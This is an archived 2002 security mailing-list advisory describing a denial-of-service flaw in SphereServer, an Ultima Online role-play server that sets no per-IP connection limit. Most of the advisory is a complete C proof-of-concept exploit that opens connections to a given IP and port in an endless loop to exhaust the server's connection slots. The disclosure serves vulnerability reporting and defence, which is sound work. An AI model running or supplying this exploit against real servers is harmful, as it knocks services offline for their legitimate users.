[NEWS] Denial of Service in SphereServer
From: support@securiteam.comDate: 03/09/02
- Previous message: support@securiteam.com: "[UNIX] EFingerd Remote Buffer Overflow"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
From: support@securiteam.com To: list@securiteam.com Date: Sat, 9 Mar 2002 20:14:28 +0100 (CET)
The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: http://www.securiteam.com
- - promotion
When was the last time you checked your server's security?
How about a monthly report?
http://www.AutomatedScanning.com - Know that you're safe.
- - - - - - - - -
Denial of Service in SphereServer
------------------------------------------------------------------------
SUMMARY
The SphereServer is an Ultima Online Role-play Server (Multiplayer). Some
people use this as an unofficial Server to host Free Role-play Worlds for
a large community of Players. The Developer of the Software is
<http://www.menasoft.com> MenaSoft. Since no IP-limitation exists in the
product anyone can connect to it several times causing a denial of service
in the product (by exhausting all available connection slots).
DETAILS
Vulnerable systems:
Sphere99x - Linux, FreeBSD, Win32
Immune systems:
Sphere version 0.5x
The problem lies in the fact that the server counts you as a client as
long as remain connected (even if you send it no other command following
the authentication processes). If you do this several times, the
max_connections will be reached, blocking all new incoming connections.
Exploit:
/*
*
* www.h07.org
* H Zero Seven
* Unix Security Research Team
*
* Sphere Ultima Online Server - Denial of Service Vulnerability
* poc-exploit...
*
* Simple code to eat all connections from the gameserver, so other
* peoples could not connect to the server.
*/
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/socket.h>
#include <sys/types.h>
#include <netinet/in.h>
#include <stdarg.h>
#include <time.h>
#include <sys/time.h>
int Connect(int ip, int port)
{
int fd;
struct sockaddr_in tgt;
fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (fd<0) return -1;
memset(&tgt,0,sizeof(struct sockaddr_in));
tgt.sin_port = htons(port);
tgt.sin_family = AF_INET;
tgt.sin_addr.s_addr = ip;
if (connect(fd,(struct sockaddr*)&tgt,sizeof(struct sockaddr))<0)
return -1;
return fd;
}
int sprint(int fd, const char *str,...)
{
va_list args;
char buf[4096];
memset(&buf,0,sizeof(buf));
va_start(args,str);
vsnprintf(buf,sizeof(buf),str,args);
return(write(fd,buf,strlen(buf)));
}
int main(int argc, char *argv[])
{
int fd;
struct sockaddr_in box;
fprintf(stderr, "SphereServer DoS Exploit [poc]\n");
fprintf(stderr, "H Zero Seven - Unix Security Research Team -
www.h07.org\n\n");
if (argc < 2) {
fprintf(stderr, "usage: %s <sphere ip> [sphere port]\n",argv[0]);
return;
}
fprintf(stderr,"for the full advisory regarding this vulnerability
visit www.h07.org ... \n");
fd = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
if (fd<0) {
perror("socket() ");
return;
}
fprintf(stderr,"Attacking sphere : ");
for (;;) {
int sock;
sock = Connect(inet_addr(argv[1]),(argc>2)?(atoi(argv[2])):3128);
if (sock<0) {
sleep(10);
continue;
}
fprintf(stderr, ".*");
}
}
ADDITIONAL INFORMATION
The information has been provided by H Zero Seven.
========================================
This bulletin is sent to members of the SecuriTeam mailing list.
To unsubscribe from the list, send mail with an empty subject line and body to: list-unsubscribe@securiteam.com
In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com
====================
====================
DISCLAIMER:
The information in this bulletin is provided "AS IS" without warranty of any kind.
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.
- Previous message: support@securiteam.com: "[UNIX] EFingerd Remote Buffer Overflow"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
|